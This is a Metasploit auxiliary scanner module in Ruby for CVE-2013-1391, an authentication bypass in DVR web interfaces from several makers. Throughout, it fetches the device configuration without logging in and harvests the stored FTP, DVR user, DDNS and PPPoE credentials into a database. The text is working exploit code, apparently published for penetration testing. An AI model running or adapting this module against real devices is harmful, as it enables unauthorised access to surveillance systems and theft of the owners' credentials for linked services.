Multiple DVR Manufacturers Configuration Disclosure

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize
super(
‘Name’ => ‘Multiple DVR Manufacturers Configuration Disclosure’,
‘Description’ => %q{
This module takes advantage of an authentication bypass vulnerability at the
web interface of multiple manufacturers DVR systems, which allows to retrieve the
device configuration.
},
‘Author’ =>
[
‘Alejandro Ramos’, # Vulnerability Discovery
‘juan vazquez’ # Metasploit module
],
‘References’ =>
[
[ ‘CVE’, ‘2013-1391’ ],
[ ‘URL’, ‘http://www.securitybydefault.com/2013/01/12000-grabadores-de-video-expuestos-en.html’ ]],
‘License’ => MSF_LICENSE
)

end

def get_pppoe_credentials(conf)

user = “”
password = “”
enabled = “”

if conf =~ /PPPOE_EN=(\d)/
enabled = $1
end

return if enabled == “0”

if conf =~ /PPPOE_USER=(.*)/
user = $1
end

if conf =~ /PPPOE_PASSWORD=(.*)/
password = $1
end

if user.empty? or password.empty?
return
end

info = “PPPOE credentials for #{rhost}, user: #{user}, password: #{password}”

report_note({
:host => rhost,
:data => info,
:type => “dvr.pppoe.conf”,
:sname => ‘pppoe’,
:update => :unique_data
})

end

def get_ddns_credentials(conf)
hostname = “”
user = “”
password = “”
enabled = “”

if conf =~ /DDNS_EN=(\d)/
enabled = $1
end

return if enabled == “0”

if conf =~ /DDNS_HOSTNAME=(.*)/
hostname = $1
end

if conf =~ /DDNS_USER=(.*)/
user = $1
end

if conf =~ /DDNS_PASSWORD=(.*)/
password = $1
end

if hostname.empty?
return
end

info = “DDNS credentials for #{hostname}, user: #{user}, password: #{password}”

report_note({
:host => rhost,
:data => info,
:type => “dvr.ddns.conf”,
:sname => ‘ddns’,
:update => :unique_data
})

end

def get_ftp_credentials(conf)
server = “”
user = “”
password = “”
port = “”

if conf =~ /FTP_SERVER=(.*)/
server = $1
end

if conf =~ /FTP_USER=(.*)/
user = $1
end

if conf =~ /FTP_PASSWORD=(.*)/
password = $1
end

if conf =~ /FTP_PORT=(.*)/
port = $1
end

if server.empty?
return
end

report_cred(
ip: server,
port: port,
service_name: ‘ftp’,
user: user,
password: password,
proof: conf.inspect
)
end

def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: ‘tcp’,
workspace_id: myworkspace_id
}

credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)

login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]}.merge(service_data)

create_credential_login(login_data)
end

def get_dvr_credentials(conf)
conf.scan(/USER(\d+)_USERNAME/).each { |match|
user = “”
password = “”
active = “”

user_id = match[0]

if conf =~ /USER#{user_id}_LOGIN=(.*)/
active = $1
end

if conf =~ /USER#{user_id}_USERNAME=(.*)/
user = $1
end

if conf =~ /USER#{user_id}_PASSWORD=(.*)/
password = $1
end

if active == “0”
user_active = false
else
user_active = true
end

report_cred(
ip: rhost,
port: rport,
service_name: ‘dvr’,
user: user,
password: password,
proof: “user_id: #{user_id}, active: #{active}”
)
}
end

def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: ‘tcp’,
workspace_id: myworkspace_id
}

credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)

login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]}.merge(service_data)

create_credential_login(login_data)
end

def run_host(ip)

res = send_request_cgi({
‘uri’ => ‘/DVR.cfg’,
‘method’ => ‘GET’
})

if not res or res.code != 200 or res.body.empty? or res.body !~ /CAMERA/
vprint_error(“#{rhost}:#{rport} – DVR configuration not found”)
return
end

p = store_loot(“dvr.configuration”, “text/plain”, rhost, res.body, “DVR.cfg”)
vprint_good(“#{rhost}:#{rport} – DVR configuration stored in #{p}”)

conf = res.body

get_ftp_credentials(conf)
get_dvr_credentials(conf)
get_ddns_credentials(conf)
get_pppoe_credentials(conf)

dvr_name = “”
if res.body =~ /DVR_NAME=(.*)/
dvr_name = $1
end

report_service(:host => rhost, :port => rport, :sname => ‘dvr’, :info => “DVR NAME: #{dvr_name}”)
print_good(“#{rhost}:#{rport} DVR #{dvr_name} found”)
end
end